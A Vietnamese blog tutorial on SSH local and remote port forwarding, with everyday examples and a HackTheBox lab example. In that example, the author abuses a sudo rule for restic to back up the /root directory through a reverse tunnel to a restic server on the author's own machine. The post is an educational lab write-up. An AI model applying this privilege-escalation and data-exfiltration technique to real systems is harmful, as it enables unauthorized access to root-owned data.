- vừa được xem lúc

SSH Tunneling - Local Port Forwarding và Remote Port Forwarding

0 0 49

Người đăng: Minh Tuấn Ngụy

Theo Viblo Asia

SSH Tunneling

Giao thức SSH hiện nay là một trong những giao thức phổ biến nhất để tunneling và port forwarding. SSH Tunnel cho phép trao đổi dữ liệu thông qua một kênh mã hoá. Với việc thiết lập SSH Tunnel cực kỳ đơn giản và nhiều ứng dụng nên giao thức này ngày càng phổ biến. Ở bài viết này mình sẽ nói về một số ứng dụng của SSH Tunnel.

Local Port Forwarding

SSH Local Port Forwarding được sử dụng để chuyển tiếp 1 port từ máy local đến máy server (hoặc ngược lại) bằng cách sử dụng giao thức SSH để vận chuyển.

Người dùng có thể sử dụng Local Port Forwarding để:

  • Kết nối với dịch vụ trong mạng nội bộ từ bên ngoài.
  • Sử dụng để chuyển file qua internet.
  • Tạo phiên và chuyển tập tin qua Jump Server (cái này mình chưa sử dụng bao giờ 😦).

Ví dụ

Thử tưởng tượng bạn cài đặt một trang web test ở cổng 80 trên server của bạn, nhưng bạn lại không muốn public trang web đó ra mà chỉ muốn sử dụng ở trên local. Hoặc là bạn đang ở nhà, bạn muốn vào trang web được đặt trên server của công ty mà chỉ được vào với ip nội bộ. Nhưng bạn lại có SSH đến server đó, vậy bạn có thể chuyển tiếp port từ server của công ty về port trên máy bạn bằng cách.

ssh -L 9000:127.0.0.1:80 _@.com<ip address>

Vậy bây giờ bạn có thể truy cập vào website nằm trên server công ty bằng cách truy cập http://localhost:9000.

Hay một ví dụ khác là bạn muốn truy cập database trên website của bạn nhưng bạn không thích dùng terminal mà bạn lại thích dùng giao diện hơn. Vậy bạn có thể chuyển cổng 3306 trên server về local máy bạn rồi sử dụng một số chương trình để truy cập CSDL của bạn như Navicat hay Workbench Mysql.

Remote Port Forwarding

SSH Remote Port Forwarding cho phép bạn chuyển lưu lượng truy cập từ 1 port ở máy của bạn lên SSH server.
Cú pháp

ssh -R 8080:localhost:80 public.example.com

Điều này cho phép bất cứ ai truy cập vào máy chủ public.example.com vào cổng 8080 sẽ được chuyển đến cổng 80 trên máy bạn.

Tuy nhiên, Remote Port Forwarding mặc định được tắt trên SSH. Để kích hoạt tính năng này, bạn cần thêm một dòng vào tệp cấu hình SSH /etc/ssh/sshd_config

GatewayPorts yes

Và khởi động lại SSH

$ sudo service ssh restart

Ví dụ

Ví dụ bạn đang code 1 website, nhưng khách hàng đang muốn bạn demo từ xa. Do code đang nằm trên máy bạn, và bạn không có thời gian deploy lên server để demo cho khách hàng. Bạn có thể sử dụng Remote Port Forwarding để chuyển cổng web trên máy local lên server để demo cho khách hàng.

ssh -R 80:localhost:80 _@.com<ip public>

Vậy khách hàng có thể truy cập tới http://<ip public> là có thể vào trang mà bạn đang code trên local rồi.

Hoặc một ví dụ khác, đây là một ví dụ về một machine tên Registry trên Hackthebox.

Tại server machine cho phép user www-data sử dụng câu lệnh với quyền root như sau:

User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*

Restic là 1 opensource sử dụng để backup, cần sử dụng Restic server để backup. Tuy nhiên trên server lại không có Restic server. Vậy nên mình đã dựng một Restic server ở trên máy local và sử dụng Remote Port Forwarding để kết nối Restic server lên machine.

ssh -i id_rsa -R 8000:127.0.0.1:8000 _@.com

Và sau đó mình đã backup lại được thư mục /root với quyền root

_@.com:~/html$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000 /root
<n/restic backup -r rest:http://127.0.0.1:8000 /root
enter password for repository: 123123 password is correct
found 2 old cache directories in /var/www/.cache/restic, pass --cleanup-cache to remove them
scan [/root]
scanned 10 directories, 14 files in 0:00
[0:01] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00 duration: 0:01
snapshot e5ef88b3 saved
_@.com:~/html$ 

Machine này đã được mình viết solusion ở tại blog của mình. Nếu bạn đọc cảm thấy hấp dẫn thì có thể ghé qua blog của mình tại https://minhtuanact.github.io/post/writeup-htb-registry/

Trên đây là một vài kiến thức mình lượm nhặt được, mong rằng nó có ích cho các bạn. (seeyou)

Tham khảo

https://www.ssh.com/ssh/tunneling/
https://www.booleanworld.com/guide-ssh-port-forwarding-tunnelling/
https://blog.trackets.com/2014/05/17/ssh-tunnel-local-and-remote-port-forwarding-explained-with-examples.html

Bình luận

Bài viết tương tự

- vừa được xem lúc

Giới thiệu Typescript - Sự khác nhau giữa Typescript và Javascript

Typescript là gì. TypeScript là một ngôn ngữ giúp cung cấp quy mô lớn hơn so với JavaScript.

0 0 521

- vừa được xem lúc

Cài đặt WSL / WSL2 trên Windows 10 để code như trên Ubuntu

Sau vài ba năm mình chuyển qua code trên Ubuntu thì thật không thể phủ nhận rằng mình đã yêu em nó. Cá nhân mình sử dụng Ubuntu để code web thì thật là tuyệt vời.

0 0 393

- vừa được xem lúc

Đặt tên commit message sao cho "tình nghĩa anh em chắc chắn bền lâu"????

. Lời mở đầu. .

1 1 725

- vừa được xem lúc

Tìm hiểu về Resource Controller trong Laravel

Giới thiệu. Trong laravel, việc sử dụng các route post, get, group để gọi đến 1 action của Controller đã là quá quen đối với các bạn sử dụng framework này.

0 0 353

- vừa được xem lúc

Phân quyền đơn giản với package Laravel permission

Như các bạn đã biết, phân quyền trong một ứng dụng là một phần không thể thiếu trong việc phát triển phần mềm, dù đó là ứng dụng web hay là mobile. Vậy nên, hôm nay mình sẽ giới thiệu một package có thể giúp các bạn phân quyền nhanh và đơn giản trong một website được viết bằng PHP với framework là L

0 0 443

- vừa được xem lúc

Bạn đã biết các tips này khi làm việc với chuỗi trong JavaScript chưa ?

Hi xin chào các bạn, tiếp tục chuỗi chủ đề về cái thằng JavaScript này, hôm nay mình sẽ giới thiệu cho các bạn một số thủ thuật hay ho khi làm việc với chuỗi trong JavaScript có thể bạn đã hoặc chưa từng dùng. Cụ thể như nào thì hãy cùng mình tìm hiểu trong bài viết này nhé (go).

0 0 431